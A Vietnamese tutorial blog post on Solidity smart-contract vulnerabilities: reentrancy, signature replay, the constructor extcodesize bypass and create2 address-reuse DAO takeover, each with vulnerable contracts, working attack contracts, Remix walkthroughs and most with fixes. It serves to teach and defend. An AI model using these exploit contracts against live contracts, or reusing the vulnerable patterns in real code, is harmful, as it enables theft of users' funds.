+3

Muôn vàn lỗ hổng với Solidity (Phần 1)

image.png

1. Reentrancy

Single-Function Reentrancy

Chúng ta cùng xem qua hợp đồng thông minh dưới đây, cho phép người dùng gửi và rút ETH.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vulnerable {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);
        
        // chuyển tiền cho người dùng
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
        
        // cập nhật lại số dư
        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Ở hàm withdraw, sau khi chuyển tiền cho người dùng xong thì logic mới cập nhật lại số dư => Đây là kẽ hở chí mạng khiến hợp đồng có thể bị tấn công.

Chúng ta sẽ viết 1 hợp đồng để khai thác lỗ hổng đó

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Vulnerable.sol";

contract Attack {
    Vulnerable vulnerable;
    address owner;
    uint256 constant public AMOUNT = 1 ether;

    constructor(address vulnerableAddress) {
        vulnerable = Vulnerable(vulnerableAddress);
        owner = msg.sender;
    }

    // Fallback function
    fallback() external payable {
        if (address(vulnerable).balance >= AMOUNT) {
            vulnerable.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        // Gửi 1 ít ETH vào contract Vulnerable để có số dư > 0
        vulnerable.deposit{value: AMOUNT}();

        // Gọi hàm rút tiền, kích hoạt 1 vòng tuần hoàn nhằm rút cạn ETH
        vulnerable.withdraw();
    }

    function withdrawMoney() external {
        require(msg.sender == owner);

        uint256 amount = address(this).balance;
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

Quá trình tấn công sẽ diễn ra như sau:

  1. Hacker gọi hàm attack (gửi kèm 1 ETH)
  2. Hợp đồng Attack gọi hàm deposit và gửi kèm luôn 1 ETH => số dư của Attack contract = 1
  3. Gọi hàm withdraw rút tiền, Vulnerable sẽ gửi lại tiền cho Attack
  4. Fallback function của Attack được kích hoạt khi nhận được tiền từ Vulnerable
  5. Do số dư chưa được cập nhật lại nên điều kiện trong if vẫn thỏa mãn, gọi withdraw và rút tiền về.
  6. Cứ như vậy, Vulnerable sẽ cạn sạch tiền trong phút chốc 🤑

Chạy thử với Remix

  1. Deploy VulnerableAttack

image.png

  1. Gửi tiền vào Vulnerable bằng các địa chỉ đóng vai người dùng

image.png

Số dư của hợp đồng là tới 3 ETH

  1. Hacker gọi hàm attack (gửi kèm 1 ETH)

image.png

  1. Attack rút hết tiền của Vulnerable (4 ETH)

image.png

image.png

  1. Hacker rút tiền về ví bằng các gọi withdrawMoney

Cross-Function Reentrancy

Là lỗ hổng Reentrancy có liên quan tới nhiều hàm trong 1 contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vulnerable2 {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function transfer(address to, uint amount) public {
        if (balances[msg.sender] >= amount) {
        balances[to] += amount;
        balances[msg.sender] -= amount;
        }
    }

    function withdraw() public {
        uint amount = balances[msg.sender];
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success);
        balances[msg.sender] = 0;
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Vulnerable2.sol";

contract Attack {
    Vulnerable2 vulnerable;
    address owner;
    uint256 constant public AMOUNT = 1 ether;

    constructor(address vulnerableAddress) {
        vulnerable = Vulnerable2(vulnerableAddress);
        owner = msg.sender;
    }

    // Fallback function
    fallback() external payable {
        if (address(vulnerable).balance >= AMOUNT) {
            vulnerable.transfer(owner, AMOUNT);
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        // Gửi 1 ít ETH vào contract Vulnerable để có số dư > 0
        vulnerable.deposit{value: AMOUNT}();

        // Gọi hàm rút tiền, kích hoạt 1 vòng tuần hoàn nhằm rút cạn ETH
        vulnerable.withdraw();
    }

    function withdrawMoney() external {
        require(msg.sender == owner);

        uint256 amount = address(this).balance;
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

Chạy thử trên Remix

  1. Deploy 2 contract

image.png

  1. Người dùng deposit vào Vulnerable2

image.png

Số dư hiện tại là 4 ETH

  1. Hacker gọi hàm attack và gửi kèm 1 ETH

image.png

image.png

Vulnerable2 vẫn có số dư là 4 ETH. Tuy nhiên, balances địa chỉ của hacker là 1 ETH và contract Attack cũng có 1 ETH => ăn gian được 1 ETH 😄

  1. Tiếp tục gọi Attack, bây giờ tổng đã có 4 ETH.

image.png

  1. Cứ tiếp tục như vậy 2 lần nữa, số dư của của hacker trong Vulnerable2 đã là 4 ETH. Giờ việc cần làm cuối cùng là rút hết tiền về.

image.png

Trong thực tế chúng ta sẽ viết 1 script bằng JS, chạy và vét sạch tiền đầy ví thay vì thao tác thủ công như trên =)

Lưu ý: Trông qua cách này có vẻ cồng kềnh hơn ví dụ trước đó trong việc khai thác. Tuy nhiên ở những hợp đồng có logic phức tạp hơn, không phải lúc nào cũng ngon ăn như vậy mà phải khai thác mối liên hệ giữa các hàm với nhau. Vụ DAO hack nổi tiếng năm 2016 chính là kiểu tấn công Cross-Function Reentrancy.

Cross-contract Reentrancy

Cross-contract Reentrancy là một hình thức phức tạp hơn khi nó liên quan đến nhiều hợp đồng cùng sử dụng các biến trạng thái, nhưng không phải hợp đồng nào cũng cập nhật và xử lý các biến đó một cách an toàn.

Chúng ta cùng xem qua 2 hợp đồng sau đây:

  • DevToken là hợp đồng token chuẩn ERC-20
  • VulnerableWallet là hợp đồng nơi nhận ETH từ người dùng gửi vào và mint ra lượng DevToken tương ứng cho họ. Khi người dùng rút ETH ra thì đốt token đi.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract DevToken {
    
    address owner;
    mapping (address => uint256) public balances;
    uint totalSupply;
    
    // VulnerableWallet sẽ là owner
    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    function transfer(address _to, uint256 _value)
        external
        returns (bool success)
    {
        require(balances[msg.sender] >= _value);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function mint(address _to, uint256 _value)
        external
        onlyOwner 
        returns (bool success)
    {
        balances[_to] += _value;
        totalSupply += _value;
        return true;
    }

    function burnFrom(address _from)
        external
        onlyOwner 
        returns (bool success)
    {
        uint256 amountToBurn = balances[_from];
        balances[_from] -= amountToBurn;
        totalSupply -= amountToBurn;
        return true;
    }
    
    function balanceOf(address account) public view returns(uint256) {
        return balances[account];
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./DevToken.sol";

contract VulnerableWallet {
    address owner;
    DevToken devToken;
    
    constructor() {
        owner = msg.sender;
    }

    function setDevToken(address devTokenAddress) external {
        require(msg.sender == owner);
        devToken = DevToken(devTokenAddress);
    }

    function deposit() external payable { 
        bool success = devToken.mint(msg.sender, msg.value);
        require(success, "Failed to mint token");
    }
    
    // Người dùng rút ETH và Devtoken của người dùng sẽ bị đốt
    function withdrawAll() external { 
        uint256 balance = devToken.balanceOf(msg.sender);
        require(balance > 0, "Insufficient balance");

        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");
        
        // Gửi ETH cho người dùng trước khi đốt token => Đây chính là vấn đề
        success = devToken.burnFrom(msg.sender);
        require(success, "Failed to burn token");
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

Thực hiện khai thác với hợp đồng sau

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./DevToken.sol";
import "./VulnerableWallet.sol";

contract Attacker1 {
    // địa chỉ khác của của hacker để nhận token
    address private attacker2;
    DevToken devToken;
    VulnerableWallet vulnerableWallet;
    
    constructor(address devTokenAddress, address vulnerableWalletAddress) {
        attacker2 = msg.sender;
        devToken = DevToken(devTokenAddress);
        vulnerableWallet = VulnerableWallet(vulnerableWalletAddress);
    }
    
    // Khi ETH từ VulnerableWallet gửi về, khi logic burn token chưa được thực thi, chuyển ngay token sang địa chỉ khác => double spending
    receive() external payable {
           devToken.transfer(
attacker2, devToken.balanceOf(address(this))
            );
    }
    
    // hacker gọi hàm và gửi kèm 1 ETH
    function attack() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        vulnerableWallet.deposit{value: 1 ether}();
        vulnerableWallet.withdrawAll();
    }
    
    function withdrawFunds() external {
        vulnerableWallet.withdrawAll();
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

Chạy thử trên Remix

  1. Deploy 3 contract

image.png

  1. Deploy VulnerableWallet contract

  2. Deploy DevToken contract (với địa chỉ VulnerableWallet là owner)

  3. Gọi hàm setDevToken trong VulnerableWallet để gán địa chỉ devToken

  4. Deploy Attack contract

  5. Gọi hàm attack (gửi kèm 1 ETH)

  6. Kiểm tra thành quả

Contract Attack có 1 ETH và địa chỉ hacker có 1 DevToken => bỏ 1 được 2.

image.png

Cách phòng chống ReEntrancy

  • Khi lập trình cần chú ý thay đổi các biến trạng thái trước khi thực hiện các tương tác khác như gửi tiền, gọi đến các hàm của hợp đồng khác ...
  • Dùng thư viện ReentrancyGuard của openzepplin
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/ReentrancyGuard.sol)

pragma solidity ^0.8.20;


abstract contract ReentrancyGuard {
    uint256 private constant NOT_ENTERED = 1;
    uint256 private constant ENTERED = 2;

    uint256 private _status;

   
    error ReentrancyGuardReentrantCall();

    constructor() {
        _status = NOT_ENTERED;
    }
    
    /*
     Ngăn chặn việc gọi đệ quy bằng việc thiết lập 1 biến cờ _status.
     - Khi hàm đang được thực thi (cờ ENTERED sẽ được gán, ví dụ hàm attack gọi withdraw). fallback function của Attack contract gọi withdraw 1 lần nữa sẽ bị revert.
    */
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
        if (_status == ENTERED) {
            revert ReentrancyGuardReentrantCall();
        }

        _status = ENTERED;
    }

    function _nonReentrantAfter() private {
   
        _status = NOT_ENTERED;
    }
    
    function _reentrancyGuardEntered() internal view returns (bool) {
        return _status == ENTERED;
    }
}

2. Signature Replay

Chữ ký (Signature) là một công cụ mật mã giúp xác minh định danh của người dùng. Với Ethereum, chữ ký số có thể dùng để ủy quyền giao dịch, giúp người dùng tiết kiệm gas (meta transaction).

Replay Attacks

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";

// Hợp đồng đa chữ ký
contract MultiSigWallet {
    using ECDSA for bytes32;

    address[2] public owners;
    
    // Khởi tạo với 2 địa chỉ owners
    constructor(address[2] memory _owners) payable {
        owners = _owners;
    }
    
    // nhận ETH gửi vào
    function deposit() external payable {}
    
    // Chuyển ETH đi, cần có 2 chữ ký hợp lệ từ 2 owner
    function transfer(address _to, uint _amount, bytes[2] memory _sigs) external {
        bytes32 txHash = getTxHash(_to, _amount);
        require(_checkSigs(_sigs, txHash), "invalid sig");

        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }
    
    // tính toán message: Đây là thông điệp mà 2 owner cần ký khi muốn gửi tiền
    function getTxHash(address _to, uint _amount) public pure returns (bytes32) {
        return keccak256(abi.encodePacked(_to, _amount));
    }
    
    // Kiểm tra chữ ký với thư viện ECDSA 
    function _checkSigs(
        bytes[2] memory _sigs,
        bytes32 _txHash
    ) private view returns (bool) {
        bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();

        for (uint i = 0; i < _sigs.length; i++) {
            address signer = ethSignedHash.recover(_sigs[i]);
            bool valid = signer == owners[i];

            if (!valid) {
                return false;
            }
        }

        return true;
    }
}

Thông điệp của chữ ký đang được tạo nên từ toamount, hai thông tin có thể trùng lặp. Lợi dụng điều đó, kẻ xấu có thể sử dụng lại (replay) chữ ký của owner để chuộc lợi.

Chạy thử trên Remix

  1. Deploy và gửi vào 3 ETH

image.png

  1. Tính toán txHash

Bây giờ, muốn gửi 1 ETH cho địa chỉ 0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db thì ta cần tính toán lấy txHash để ký.

image.png

  1. Lần lượt tạo chữ ký từ các owner

Ký bởi owner1

image.png

image.png

Ký bởi owner2

image.png

  1. Gọi hàm transfer

image.png

=> Thành công, số dư của hợp đồng giảm 1 ETH và số dư tài khoản nhận tăng thêm

image.png

  1. Tái sử dụng chữ ký

Chủ tài khoản 0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db lên etherScan lấy giá trị các tham số trong giao dịch vừa diễn ra. Gọi hàm transfer, giá trị chữ ký vẫn được xem là hợp lệ nên giao dịch thực thi không hề gặp bất cứ khó khăn gì => khai thác thành công

Vá lỗi

Để vá lỗi, chúng ta sẽ thêm trường nonce khi tính toán thông điệp của chữ ký, với nonce là một số nguyên dương bất kỳ. Thêm vào đó, mapping executed sẽ quản lý trạng thái của chữ ký, xem nó đã từng được xác minh và thực thi hay chưa ?

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";

contract MultiSigWallet {
    using ECDSA for bytes32;

    address[2] public owners;
    mapping(bytes32 => bool) public executed;

    constructor(address[2] memory _owners) payable {
        owners = _owners;
    }

    function deposit() external payable {}

    function transfer(
        address _to,
        uint _amount,
        uint _nonce,
        bytes[2] memory _sigs
    ) external {
        bytes32 txHash = getTxHash(_to, _amount, _nonce);
        require(!executed[txHash], "tx executed");
        require(_checkSigs(_sigs, txHash), "invalid sig");

        executed[txHash] = true;

        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }

    function getTxHash(
        address _to,
        uint _amount,
        uint _nonce
    ) public view returns (bytes32) {
        return keccak256(abi.encodePacked(address(this), _to, _amount, _nonce));
    }

    function _checkSigs(
        bytes[2] memory _sigs,
        bytes32 _txHash
    ) private view returns (bool) {
        bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();

        for (uint i = 0; i < _sigs.length; i++) {
            address signer = ethSignedHash.recover(_sigs[i]);
            bool valid = signer == owners[i];

            if (!valid) {
                return false;
            }
        }

        return true;
    }
}

Cross-chain Replay Attacks

Hiện nay, một Dapp không chỉ chạy trên 1 nền tảng mà còn mở rộng sang các nền tảng blockchain khác. Số lượng blockchain tương thích với EVM hiện lên tới hàng chục, thậm chí hàng trăm.

=> Do đó, với nonce vẫn là chưa đủ. Kẻ xấu hoàn toàn có thể lấy giá trị chữ ký ở blockchain này để "replay" ở một blockchain khác.

Giải pháp ở đây là chúng ta sẽ thêm phần chainId vào để kiểm tra

function getTxHash(
        address _to,
        uint _amount,
        uint _nonce,
        uint _chainId
    ) public view returns (bytes32) {
		require(_chainId == block.chainid, "Invalid chain ID");
        return keccak256(abi.encodePacked(address(this), _to, _amount, _nonce, _chainId));
}

3. Contract size

Như chúng ta đã biết, trên Ethereum có 2 loại địa chỉ:

  • Địa chỉ người dùng (EOA): Có codesize bằng 0.
  • Địa chỉ hợp đồng: Codesize khác 0.

Tuy nhiên, điều đó có thật sự chính xác và đầy đủ không ? Chúng ta cùng xem qua ví dụ dưới đây.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Target {
	// Kiểm tra codesize của địa chỉ có lớn hơn 0 không. Nếu có thì trả về true
	// Ngược lại, nếu là địa chỉ người dùng thì trả về false
    function isContract(address account) public view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;
		
	// Hàm này chỉ có thể được gọi từ địa chỉ người dùng
    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

Tuy nhiên, chúng ta thử gọi từ constructor xem sao.

// SPDX-License-Identifier: MIT
pragma  solidity  ^0.8.20;
  
import  "Target.sol";

contract Hack {
    bool public isContract;
    address public addr;
		
		// khi contract đang được khởi tạo: codesize = 0
    constructor(address _target) {
        isContract = Target(_target).isContract(address(this));
        addr = address(this);
				
        Target(_target).protected();
    }
}

image.png

image.png

Biến pwned đã được thay đổi thành true

4. Deploy các hợp đồng khác nhau tại cùng một địa chỉ

Chúng ta có 2 hợp đồng như sau:

contract Proposal {
    event Log(string message);
		
		// Hàm này rất cơ bản, chỉ đơn giản emit ra event Log
    function executeProposal() external {
        emit Log("Excuted code approved by DAO");
    }
	
		// gọi selfdestruct để hủy hợp đồng
    function emergencyStop() external {
        selfdestruct(payable(address(0)));
    }
}

contract DAO {
    struct Proposal {
        address target;
        bool approved;
        bool executed;
    }

    address public owner;
    Proposal[] public proposals;
		
	constructor() {
		owner = msg.sender;
	}
	
		// approve cho contract Proposal
    function approve(address target) external {
        require(msg.sender == owner, "not authorized");

        proposals.push(Proposal({target: target, approved: true, executed: false}));
    }

    function execute(uint256 proposalId) external payable {
        Proposal storage proposal = proposals[proposalId];
        require(proposal.approved, "not approved");
        require(!proposal.executed, "executed");

        proposal.executed = true;
        
        // Gọi hàm executeProposal() của hợp đồng Proposal bằng lệnh delegatecall
        // Chúng ta sẽ thấy sẽ nguy hiểm của việc gọi delegatecall ở phần sau
        (bool ok, ) = proposal.target.delegatecall(
            abi.encodeWithSignature("executeProposal()")
        );
        require(ok, "delegatecall failed");
    }
}

Để khai thác DAO, chúng ta sẽ sử dụng bộ ba hợp đồng sau đây:

Ý tưởng chính trong cách khai thác sẽ là:

  1. Contract Proposal được approve trên DAO
  2. Deploy đè sao cho Attack có cùng địa chỉ với Proposal
  3. Hacker thực hiện gọi hàm execute trên DAO. gọi delegatecall tới executeProposal Attack và "dính chưởng" khi biến owner bị thay đổi thành địa chỉ của hacker.

Mọi người có thể đọc lại một chút khái niệm về hàm createdelegatecall.

contract Deployer {
    event Log(address addr);

    function deployProposal() external {
        address addr = address(new Proposal());
        emit Log(addr);
    }

    function deployAttack() external {
        address addr = address(new Attack());
        emit Log(addr);
    }
		
		// hủy hợp đồng
    function kill() external {
        selfdestruct(payable(address(0)));
    }
}

contract DeployerDeployer {
    event Log(address addr);

    function deploy() external {
				// salt cố định
        bytes32 salt = keccak256(abi.encode(uint(123)));
        
        // deploy với create2. Địa chỉ Deployer được deploy là không đổi sau mỗi lần gọi.
        address addr = address(new Deployer{salt: salt}());
        emit Log(addr);
    }
}

contract Attack {
    event Log(string message);

    address public owner;
		
		// Nếu Attack được approved trên DAO, khi gọi hacker hàm execute sẽ có thể thay đổi địa chỉ owner trên DAO thành địa chỉ của mình
    function executeProposal() external {
        emit Log("Excuted code not approved by DAO :)");
        owner = msg.sender;
    }
}

Chạy thử trên Remix

  1. Deploy DAO bởi địa chỉ người dùng.

image.png địa chỉ owner0x5B38Da6a701c568545dCfcB03FcB875f56beddC4

  1. Hacker deploy DeployerDeployer

image.png

địa chỉ hacker: 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2

  1. Hacker gọi hàm deploy trong DeployerDeployer

image.png

địa chỉ của Deployer: 0x188D55Bb6990c8e6Ff843535B054846BeA6b264B

image.png

  1. Hacker gọi Deployer.deployProposal()

image.png

địa chỉ của Proposal: 0x343094AFe092a3A94d52924Dd903B9F1589eAE49

  1. Logic của Proposal không có vấn đề gì nên Alice thực hiện approve.

image.png

image.png

  1. Hacker gọi Proposal.emergencyStop()Deployer.kil() để hủy 2 hợp đồng.

image.png

  1. Hacker deploy lại Deployer bằng cách gọi DeployerDeployer.deploy()

image.png

địa chỉ Deployer vẫn như cũ là 0x188D55Bb6990c8e6Ff843535B054846BeA6b264B

  1. Hacker gọi Deployer.deployAttack()

image.png

địa chỉ Attack trùng với địa chỉ Proposal đã hủy: 0x343094AFe092a3A94d52924Dd903B9F1589eAE49

Tại sao lại như thế ? Như chúng ta đã biết, địa chỉ hợp đồng mới được tạo ra với opcode create phụ thuộc vào địa chỉ deploy và số nonce.

  • Deployer có địa chỉ không đổi
  • số nonce của cũng như nhau (hủy Deployer và deploy lại để có số nonce như nhau)
  1. Hacker gọi DAO.execute(0)
  2. Kiểm tra biến owner trên DAO

image.png

owner đã biến thành địa chỉ của hacker

Tài liệu tham khảo

https://scsfg.io/hackers

https://hacken.io/discover/reentrancy-attacks/

https://solidity-by-example.org


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.